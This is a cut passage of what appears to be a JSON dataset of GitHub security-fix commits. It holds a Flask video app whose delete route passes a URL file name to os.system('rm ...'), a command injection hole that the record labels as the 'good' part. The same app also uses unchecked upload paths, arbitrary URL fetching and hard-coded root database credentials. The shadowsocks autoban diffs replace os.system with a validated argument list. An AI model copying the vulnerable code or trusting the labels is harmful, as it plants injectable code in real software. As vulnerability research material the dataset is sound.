URL = \"local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))", "\t\t\t\tdb.session.add(new_video)", "\t\t\t\tdb.session.commit()", "\t\t\tif 'link11' in request.form.keys():", "\t\t\t\turl = request.form['link11']", "\t\t\t\tif url != '':"]}, {"diff": "\n \t\t\t\t\tdb.session.commit()\n \n \n-\t\t\tvideos = []\n-\t\t\tfor video in os.listdir(\"static/videos\"):\n-\t\t\t\tvideo_uploader = Video.query.filter_by(Name=video).first()\n-\t\t\t\tvideo_uploader = users.query.filter_by(UserID=video_uploader.UserID).first()\n-\t\t\t\tvideos.append((video, video_uploader.Username))\n-\t\t\treturn render_template('upload.html', videos=videos)\n-\n-\texcept Exception as e:\n-\t\treturn render_template(\"upload\", error = e)\n-\n-\n-\t\t# f.save(secure_filename(f.filename))\n-\n-\t#videos = os.listdir(\"static/videos\")\n-\t#return render_template('test_upload.html')\n-\t#return render_template('upload.html', videos=videos)\n-\t#if 'username' in session:\n-\t#\tif request.method == 'POST':\n-\t#\t\t#f = request.files['file']\n-\t#\t\tf2 = request.form['link11']\n-\n-\t#\t\tif f2:\n-\t#\t\t\turl = request.form['link11']\n-\t#\t\t\treqGet = requests.get(url)\n-\t#\t\t\tfilename123 = url.split(\"/\")[-1]\n-\t#\t\t\tos.path.join(app.instance_path, \"video\", filename123)\n-\t#\t\twith open(filename123,'wb') as vid:\n-\t\t\t\t#shutil.copyfileobj(reqGet.raw, vid)\n-\n- #urllib.request.urlretrieve(url_link, 'video_name.mp4')\n- #v = pafy.new(str(url))\n- #s = v.allstreams[len(v.allstreams)-1]\n- #filename = s.download(os.path.join(app.instance_path, 'video', secure_filename(v.title)))\n-\t#return render_template('index.html')\n+\t\tvideos = []\n+\t\tfor video in os.listdir(\"static/videos\"):\n+\t\t\tvideo_uploader = Video.query.filter_by(Name=video).first()\n+\t\t\tvideo_uploader = users.query.filter_by(UserID=video_uploader.UserID).first()\n+\t\t\tvideos.append((video, video_uploader.Username))\n+\t\treturn render_template('upload.html', videos=videos)\n+\treturn render_template('index.html')\n \n @app.route('/delete_video/')\n def delete_video(filename):\n", "add": 7, "remove": 34, "filename": "/Trialwebsite/app/app.py", "badparts": ["\t\t\tvideos = []", "\t\t\tfor video in os.listdir(\"static/videos\"):", "\t\t\t\tvideo_uploader = Video.query.filter_by(Name=video).first()", "\t\t\t\tvideo_uploader = users.query.filter_by(UserID=video_uploader.UserID).first()", "\t\t\t\tvideos.append((video, video_uploader.Username))", "\t\t\treturn render_template('upload.html', videos=videos)", "\texcept Exception as e:", "\t\treturn render_template(\"upload\", error = e)"], "goodparts": ["\t\tvideos = []", "\t\tfor video in os.listdir(\"static/videos\"):", "\t\t\tvideo_uploader = Video.query.filter_by(Name=video).first()", "\t\t\tvideo_uploader = users.query.filter_by(UserID=video_uploader.UserID).first()", "\t\t\tvideos.append((video, video_uploader.Username))", "\t\treturn render_template('upload.html', videos=videos)", "\treturn render_template('index.html')"]}, {"diff": "\n \t\tdata=users.query.filter_by(Username=session['username']).first()\n \t\tvideo=Video.query.filter_by(UserID=data.UserID,Name=filename).first()\n \t\tif video != None:\n-\t\t\tos.remove(\"static/videos/{}\".format(filename))\n+\t\t\t#os.remove(\"static/videos/{}\".format(filename))\n+\t\t\tos.system(\"rm static/videos/{}\".format(filename))\n \t\t\tdb.session.delete(video)\n \t\t\tdb.session.commit()\n \t\telse:\n", "add": 2, "remove": 1, "filename": "/Trialwebsite/app/app.py", "badparts": ["\t\t\tos.remove(\"static/videos/{}\".format(filename))"], "goodparts": ["\t\t\tos.system(\"rm static/videos/{}\".format(filename))"]}], "source": "\nfrom flask import Flask, flash, render_template, request, url_for, redirect, session, g from flask_limiter import Limiter from flask_limiter.util import get_remote_address import MySQLdb from flask_sqlalchemy import SQLAlchemy from MySQLdb import escape_string as thwart from passlib.hash import sha256_crypt import os import time from werkzeug import secure_filename import urllib.request import shutil import requests from datetime import datetime import sys time.sleep(30) app=Flask(__name__, template_folder=\"template\") app.config['SQLALCHEMY_DATABASE_URI']=\"mysql://root:root@db:3306/users\" db=SQLAlchemy(app) os.makedirs('static/videos', exist_ok=True) class users(db.Model): __tablename__=\"User\" UserID=db.Column('UserID', db.Integer, primary_key=True, nullable=False, autoincrement=True) Username=db.Column('Username', db.String(15)) PasswordHash=db.Column('PasswordHash', db.String(200)) DisplayName=db.Column('DisplayName', db.String(15)) def __init__(self,UserID, Username, PasswordHash, DisplayName): self.UserID=UserID self.Username=Username self.PasswordHash=PasswordHash self.DisplayName=DisplayName class Video(db.Model): __tablename__=\"Video\" VideoID=db.Column(\"VideoID\", db.Integer, primary_key=True, autoincrement=True) UserID=db.Column('UserID', db.Integer, ForeignKey_key=(\"User.UserID\"), nullable=False) URL=db.Column('URL', db.String(60)) Name=db.Column('Name', db.String(100)) UploadDate=db.Column('UploadDate', db.DateTime) def __init__(self,VideoID, UserID, URL, Name, UploadDate ): self.VideoID=VideoID self.UserID=UserID self.URL=URL self.Name=Name self.UploadDate=UploadDate secKey=os.urandom(24) app.secret_key=secKey limiter=Limiter( app, key_func=get_remote_address, ) @app.route('/', methods=[\"GET\",\"POST\"]) @limiter.limit(\"8000/day;400/hour;25/minute\") def index(): \terror='' \ttry: \t\tif request.method=='POST': \t\t\t \t\t\tusername=request.form['username'] \t\t\tpassword=request.form['password'] \t\t\t \t\t\tdata=users.query.filter_by(Username=username).first() \t\t\t \t\t\t \t\t\t \t\t\t \t\t\tif sha256_crypt.verify(password, str(data.PasswordHash)): \t\t\t\tsession['username']=username \t\t\t\tflash(\"you are now logged in\") \t\t\t\treturn redirect(url_for(\"upload\")) \t\t\telse: \t\t\t\terror=\"Invalid credentials, try again.\" \texcept Exception as e: \t\t \t\treturn render_template(\"index.html\", error=error) \treturn render_template('index.html', error=error) @app.route('/logout') def logout(): \t \t \tsession.pop(\"username\", None) \treturn redirect(url_for('index')) @app.route(\"/video/\") def video(filename): \tif 'username' in session: \t\t \t\t \t\treturn render_template(\"video_viewing_screen.html\",video_name=filename) \t\t \t\t \telse: \t\treturn redirect(url_for(\"index\")) @app.route(\"/getSession\") def getSession(): \tif \"username\" in session: \t\treturn session[\"user\"] \treturn \"No Session avalibale!\" @app.route(\"/dropSession\") def dropSession(): \tsession.pop(\"username\", None) @app.before_request def before_request(): \tg.user=None \tif \"username\" in session: \t\tg.user=session[\"username\"] @app.route('/upload', methods=['GET', 'POST']) def upload(): \terror='' \ttry: \t\tif 'username' in session: \t\t\tif request.method=='POST': \t\t\t\t \t\t\t\tif 'file' in request.files.keys(): \t\t\t \t\t\t\t\tf=request.files['file'] \t\t\t\t\tf.save(\"static/videos/{}\".format(f.filename)) \t\t\t\t\tdata=users.query.filter_by(Username=session['username']).first() \t\t\t\t\tnew_video=Video(VideoID=None, UserID=data.UserID, URL=\"local\", Name=f.filename, UploadDate=datetime.today().strftime('%Y-%m-%d')) \t\t\t\t\tdb.session.add(new_video) \t\t\t\t\tdb.session.commit() \t\t\t\t \t\t\t\tif 'link11' in request.form.keys(): \t\t\t\t\turl=request.form['link11'] \t\t\t\t\t \t\t\t\t\tfilename123=url.split(\"/\")[-1] \t\t\t\t\t \t\t\t\t\t \t\t\t\t\turllib.request.urlretrieve(url, \"static/videos/\"+filename123) \t\t\t\t\tdata=users.query.filter_by(Username=session['username']).first() \t\t\t\t\tnew_video=Video(VideoID=None, UserID=data.UserID, URL=\"local\", Name=filename123, UploadDate=datetime.today().strftime('%Y-%m-%d')) \t\t\t\t\tdb.session.add(new_video) \t\t\t\t\tdb.session.commit() \t\t\tvideos=[] \t\t\tfor video in os.listdir(\"static/videos\"): \t\t\t\tvideo_uploader=Video.query.filter_by(Name=video).first() \t\t\t\tvideo_uploader=users.query.filter_by(UserID=video_uploader.UserID).first() \t\t\t\tvideos.append((video, video_uploader.Username)) \t\t\treturn render_template('upload.html', videos=videos) \texcept Exception as e: \t\treturn render_template(\"upload\", error=e) \t\t \t \t \t \t \t \t \t \t \t \t \t \t \t \t\t\t\t \t @app.route('/delete_video/') def delete_video(filename): \tif 'username' in session: \t\t \t\tprint(session['username'], file=sys.stdout) \t\tdata=users.query.filter_by(Username=session['username']).first() \t\tvideo=Video.query.filter_by(UserID=data.UserID,Name=filename).first() \t\tif video !=None: \t\t\tos.remove(\"static/videos/{}\".format(filename)) \t\t\tdb.session.delete(video) \t\t\tdb.session.commit() \t\telse: \t\t\treturn \"Don't delete other people's videos!\" \t\treturn redirect(url_for('upload')) \treturn \"test\" if __name__=='__main__': \t \tapp.run(host='0.0.0.0', debug=True) ", "sourceWithComments": "from flask import Flask, flash, render_template, request, url_for, redirect, session, g\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\nimport MySQLdb\nfrom flask_sqlalchemy import SQLAlchemy\nfrom MySQLdb import escape_string as thwart\nfrom passlib.hash import sha256_crypt\nimport os\nimport time\nfrom werkzeug import secure_filename\nimport urllib.request\nimport shutil\nimport requests\nfrom datetime import datetime\nimport sys\n\ntime.sleep(30)\napp = Flask(__name__, template_folder=\"template\")\napp.config['SQLALCHEMY_DATABASE_URI'] = \"mysql://root:root@db:3306/users\"\ndb = SQLAlchemy(app)\n\n\n# create the folders when setting up your app\n#os.makedirs(os.path.join(app.instance_path, 'video'), exist_ok=True)\nos.makedirs('static/videos', exist_ok=True)\n\nclass users(db.Model):\n __tablename__ = \"User\"\n UserID = db.Column('UserID', db.Integer, primary_key=True, nullable=False, autoincrement=True)\n Username = db.Column('Username', db.String(15))\n PasswordHash = db.Column('PasswordHash', db.String(200))\n DisplayName = db.Column('DisplayName', db.String(15))\n #data = db.Column()\n def __init__(self,UserID, Username, PasswordHash, DisplayName ):\n self.UserID = UserID\n self.Username = Username\n self.PasswordHash = PasswordHash\n self.DisplayName = DisplayName\n\n\n\nclass Video(db.Model):\n __tablename__ = \"Video\"\n VideoID = db.Column(\"VideoID\", db.Integer, primary_key= True, autoincrement=True)\n UserID = db.Column('UserID', db.Integer, ForeignKey_key=(\"User.UserID\"), nullable=False)\n URL = db.Column('URL', db.String(60))\n Name = db.Column('Name', db.String(100))\n UploadDate = db.Column('UploadDate', db.DateTime)\n\n\n def __init__(self,VideoID, UserID, URL, Name, UploadDate ):\n self.VideoID = VideoID\n self.UserID = UserID\n self.URL = URL\n self.Name = Name\n self.UploadDate = UploadDate\n\n#used for seassion config\nsecKey = os.urandom(24)\napp.secret_key = secKey\n#time.sleep(30)\n#conn = MySQLdb.connect(host=\"db\", user=\"root\", passwd=\"root\", db=\"users\", port = 3306)\n#c = conn.cursor()\n\n#for limiting the brute force attack\nlimiter = Limiter (\n app,\n key_func=get_remote_address,\n # default_limits=[\"28000 per day\", \"1000 per hour\", \"20 per minute\"]\n)\n#limiting the brute force attack\n@app.route('/', methods=[\"GET\",\"POST\"])\n@limiter.limit(\"8000/day;400/hour;25/minute\")\ndef index():\n\terror = ''\n\ttry:\n\t\tif request.method == 'POST':\n\t\t\t# Fetch form data\n\t\t\tusername = request.form['username']\n\t\t\tpassword = request.form['password']\n\t\t\t#try:\n\t\t\tdata=users.query.filter_by(Username=username).first()\n\t\t\t#except Exception as e:\n\t\t\t#\tflash(e)\n\t\t\t#data = c.execute(\"SELECT * FROM User WHERE username = %s\", [username])\n\t\t\t#data = c.fetchone()[2]\n\t\t\tif sha256_crypt.verify(password, str(data.PasswordHash)):\n\t\t\t\tsession['username'] = username\n\t\t\t\tflash(\"you are now logged in\")\n\n\t\t\t\treturn redirect(url_for(\"upload\"))\n\n\t\t\telse:\n\t\t\t\terror = \"Invalid credentials, try again.\"\n\n\texcept Exception as e:\n\t\t#error = \"Invalid credentials, try again.\"\n\t\treturn render_template(\"index.html\", error = error)\n\n\treturn render_template('index.html', error = error)\n\n@app.route('/logout')\ndef logout():\n # remove the username from the session if it's there\n\t#dropSession()\n\t#username=session['username']\n\tsession.pop(\"username\", None)\n\treturn redirect(url_for('index'))\n\n@app.route(\"/video/\")\ndef video(filename):\n\tif 'username' in session:\n\t\t#return app.send_static_file(filename)\n\t\t#filename = os.path.join('static', filename)\n\t\treturn render_template(\"video_viewing_screen.html\",video_name=filename)\n\t\t#return redirect(filename)\n\t\t#return render_template(filename)\n\telse:\n\t\treturn redirect(url_for(\"index\"))\n\n@app.route(\"/getSession\")\ndef getSession():\n\tif \"username\" in session:\n\t\treturn session[\"user\"]\n\treturn \"No Session avalibale!\"\n\n@app.route(\"/dropSession\")\ndef dropSession():\n\tsession.pop(\"username\", None)\n\n@app.before_request\ndef before_request():\n\tg.user = None\n\tif \"username\" in session:\n\t\tg.user = session[\"username\"]\n\n\n\n@app.route('/upload' , methods = ['GET', 'POST'] )\ndef upload():\n\terror=''\n\ttry:\n\t\tif 'username' in session:\n\t\t\tif request.method == 'POST':\n\t\t\t\t#f = request.files['file']\n\t\t\t\tif 'file' in request.files.keys():\n\t\t\t# when saving the file\n\t\t\t\t\tf = request.files['file']\n\t\t\t\t\tf.save(\"static/videos/{}\".format(f.filename))\n\n\t\t\t\t\tdata=users.query.filter_by(Username=session['username']).first()\n\t\t\t\t\tnew_video = Video(VideoID = None, UserID = data.UserID, URL = \"local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n\t\t\t\t\tdb.session.add(new_video)\n\t\t\t\t\tdb.session.commit()\n #i = Video.insert()\n #i.execute(UserID=data.UserID, URL = \"Local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n\n\t\t\t\t#f2 = request.form['link11']\n\t\t\t\tif 'link11' in request.form.keys():\n\t\t\t\t\turl = request.form['link11']\n\t\t\t\t\t#reqGet = requests.get(url)\n\t\t\t\t\tfilename123 = url.split(\"/\")[-1]\n\t\t\t\t\t#with open(filename123,'wb') as vid:\n\t\t\t\t\t#\tshutil.copyfileobj(reqGet.raw, \"static/videos/\"+vid)\n\t\t\t\t\turllib.request.urlretrieve(url, \"static/videos/\"+filename123)\n\t\t\t\t\tdata = users.query.filter_by(Username=session['username']).first()\n\t\t\t\t\tnew_video = Video(VideoID = None, UserID = data.UserID, URL = \"local\", Name = filename123, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n\t\t\t\t\tdb.session.add(new_video)\n\t\t\t\t\tdb.session.commit()\n\n\n\t\t\tvideos = []\n\t\t\tfor video in os.listdir(\"static/videos\"):\n\t\t\t\tvideo_uploader = Video.query.filter_by(Name=video).first()\n\t\t\t\tvideo_uploader = users.query.filter_by(UserID=video_uploader.UserID).first()\n\t\t\t\tvideos.append((video, video_uploader.Username))\n\t\t\treturn render_template('upload.html', videos=videos)\n\n\texcept Exception as e:\n\t\treturn render_template(\"upload\", error = e)\n\n\n\t\t# f.save(secure_filename(f.filename))\n\n\t#videos = os.listdir(\"static/videos\")\n\t#return render_template('test_upload.html')\n\t#return render_template('upload.html', videos=videos)\n\t#if 'username' in session:\n\t#\tif request.method == 'POST':\n\t#\t\t#f = request.files['file']\n\t#\t\tf2 = request.form['link11']\n\n\t#\t\tif f2:\n\t#\t\t\turl = request.form['link11']\n\t#\t\t\treqGet = requests.get(url)\n\t#\t\t\tfilename123 = url.split(\"/\")[-1]\n\t#\t\t\tos.path.join(app.instance_path, \"video\", filename123)\n\t#\t\twith open(filename123,'wb') as vid:\n\t\t\t\t#shutil.copyfileobj(reqGet.raw, vid)\n\n #urllib.request.urlretrieve(url_link, 'video_name.mp4')\n #v = pafy.new(str(url))\n #s = v.allstreams[len(v.allstreams)-1]\n #filename = s.download(os.path.join(app.instance_path, 'video', secure_filename(v.title)))\n\t#return render_template('index.html')\n\n@app.route('/delete_video/')\ndef delete_video(filename):\n\tif 'username' in session:\n\t\t#os.remove(\"static/videos/{}\".format(filename))\n\t\tprint(session['username'], file=sys.stdout)\n\t\tdata=users.query.filter_by(Username=session['username']).first()\n\t\tvideo=Video.query.filter_by(UserID=data.UserID,Name=filename).first()\n\t\tif video != None:\n\t\t\tos.remove(\"static/videos/{}\".format(filename))\n\t\t\tdb.session.delete(video)\n\t\t\tdb.session.commit()\n\t\telse:\n\t\t\treturn \"Don't delete other people's videos!\"\n\t\treturn redirect(url_for('upload'))\n\treturn \"test\"\n\nif __name__ == '__main__':\n\t#app.run()\n\tapp.run(host='0.0.0.0', debug=True)\n #port = int(os.environ.get('PORT', 5000))\n #app.run(app, host='0.0.0.0', port=port)\n\n"}}, "msg": "Website is not vulnerable to command injection"}}, "https://github.com/Optimus922/shadowsocks": {"e332ec93e9c90f1cbee676b022bf2c5d5b7b1239": {"url": "https://api.github.com/repos/Optimus922/shadowsocks/commits/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "html_url": "https://github.com/Optimus922/shadowsocks/commit/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "message": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack.", "sha": "e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "keyword": "command injection prevent", "diff": "diff --git a/utils/autoban.py b/utils/autoban.py\nindex c7af0a5..52aa163 100755\n--- a/utils/autoban.py\n+++ b/utils/autoban.py\n@@ -24,9 +24,17 @@\n from __future__ import absolute_import, division, print_function, \\\n with_statement\n \n-import os\n import sys\n+import socket\n import argparse\n+import subprocess\n+\n+\n+def inet_pton(str_ip):\n+ try:\n+ return socket.inet_pton(socket.AF_INET, str_ip)\n+ except socket.error:\n+ return None\n \n if __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n@@ -37,17 +45,22 @@\n ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "files": {"/utils/autoban.py": {"changes": [{"diff": " ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "add": 19, "remove": 14, "filename": "/utils/autoban.py", "badparts": [" if 'can not parse header when' in line:", " ip = line.split()[-1].split(':')[-2]", " if ip not in ips:", " ips[ip] = 1", " print(ip)", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " cmd = 'iptables -A INPUT -s %s -j DROP' % ip", " print(cmd, file=sys.stderr)", " sys.stderr.flush()", " os.system(cmd)"], "goodparts": [" if 'can not parse header when' not in line:", " continue", " ip_str = line.split()[-1].rsplit(':', 1)[0]", " ip = inet_pton(ip_str)", " if ip is None:", " continue", " if ip not in ips:", " ips[ip] = 1", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " print('ban ip %s' % ip_str)", " cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',", " '-m', 'comment', '--comment', 'autoban']", " print(' '.join(cmd), file=sys.stderr)", " sys.stderr.flush()", " subprocess.call(cmd)"]}], "source": "\n from __future__ import absolute_import, division, print_function, \\ with_statement import os import sys import argparse if __name__=='__main__': parser=argparse.ArgumentParser(description='See README') parser.add_argument('-c', '--count', default=3, type=int, help='with how many failure times it should be ' 'considered as an attack') config=parser.parse_args() ips={} banned=set() for line in sys.stdin: if 'can not parse header when' in line: ip=line.split()[-1].split(':')[-2] if ip not in ips: ips[ip]=1 print(ip) sys.stdout.flush() else: ips[ip] +=1 if ip not in banned and ips[ip] >=config.count: banned.add(ip) cmd='iptables -A INPUT -s %s -j DROP' % ip print(cmd, file=sys.stderr) sys.stderr.flush() os.system(cmd) ", "sourceWithComments": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015 clowwindy\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom __future__ import absolute_import, division, print_function, \\\n with_statement\n\nimport os\nimport sys\nimport argparse\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n parser.add_argument('-c', '--count', default=3, type=int,\n help='with how many failure times it should be '\n 'considered as an attack')\n config = parser.parse_args()\n ips = {}\n banned = set()\n for line in sys.stdin:\n if 'can not parse header when' in line:\n ip = line.split()[-1].split(':')[-2]\n if ip not in ips:\n ips[ip] = 1\n print(ip)\n sys.stdout.flush()\n else:\n ips[ip] += 1\n if ip not in banned and ips[ip] >= config.count:\n banned.add(ip)\n cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n print(cmd, file=sys.stderr)\n sys.stderr.flush()\n os.system(cmd)\n"}}, "msg": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack."}}, "https://github.com/hyy9810/Ashadowsock": {"e332ec93e9c90f1cbee676b022bf2c5d5b7b1239": {"url": "https://api.github.com/repos/hyy9810/Ashadowsock/commits/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "html_url": "https://github.com/hyy9810/Ashadowsock/commit/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "message": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack.", "sha": "e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "keyword": "command injection prevent", "diff": "diff --git a/utils/autoban.py b/utils/autoban.py\nindex c7af0a5..52aa163 100755\n--- a/utils/autoban.py\n+++ b/utils/autoban.py\n@@ -24,9 +24,17 @@\n from __future__ import absolute_import, division, print_function, \\\n with_statement\n \n-import os\n import sys\n+import socket\n import argparse\n+import subprocess\n+\n+\n+def inet_pton(str_ip):\n+ try:\n+ return socket.inet_pton(socket.AF_INET, str_ip)\n+ except socket.error:\n+ return None\n \n if __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n@@ -37,17 +45,22 @@\n ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "files": {"/utils/autoban.py": {"changes": [{"diff": " ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "add": 19, "remove": 14, "filename": "/utils/autoban.py", "badparts": [" if 'can not parse header when' in line:", " ip = line.split()[-1].split(':')[-2]", " if ip not in ips:", " ips[ip] = 1", " print(ip)", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " cmd = 'iptables -A INPUT -s %s -j DROP' % ip", " print(cmd, file=sys.stderr)", " sys.stderr.flush()", " os.system(cmd)"], "goodparts": [" if 'can not parse header when' not in line:", " continue", " ip_str = line.split()[-1].rsplit(':', 1)[0]", " ip = inet_pton(ip_str)", " if ip is None:", " continue", " if ip not in ips:", " ips[ip] = 1", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " print('ban ip %s' % ip_str)", " cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',", " '-m', 'comment', '--comment', 'autoban']", " print(' '.join(cmd), file=sys.stderr)", " sys.stderr.flush()", " subprocess.call(cmd)"]}], "source": "\n from __future__ import absolute_import, division, print_function, \\ with_statement import os import sys import argparse if __name__=='__main__': parser=argparse.ArgumentParser(description='See README') parser.add_argument('-c', '--count', default=3, type=int, help='with how many failure times it should be ' 'considered as an attack') config=parser.parse_args() ips={} banned=set() for line in sys.stdin: if 'can not parse header when' in line: ip=line.split()[-1].split(':')[-2] if ip not in ips: ips[ip]=1 print(ip) sys.stdout.flush() else: ips[ip] +=1 if ip not in banned and ips[ip] >=config.count: banned.add(ip) cmd='iptables -A INPUT -s %s -j DROP' % ip print(cmd, file=sys.stderr) sys.stderr.flush() os.system(cmd) ", "sourceWithComments": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015 clowwindy\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION 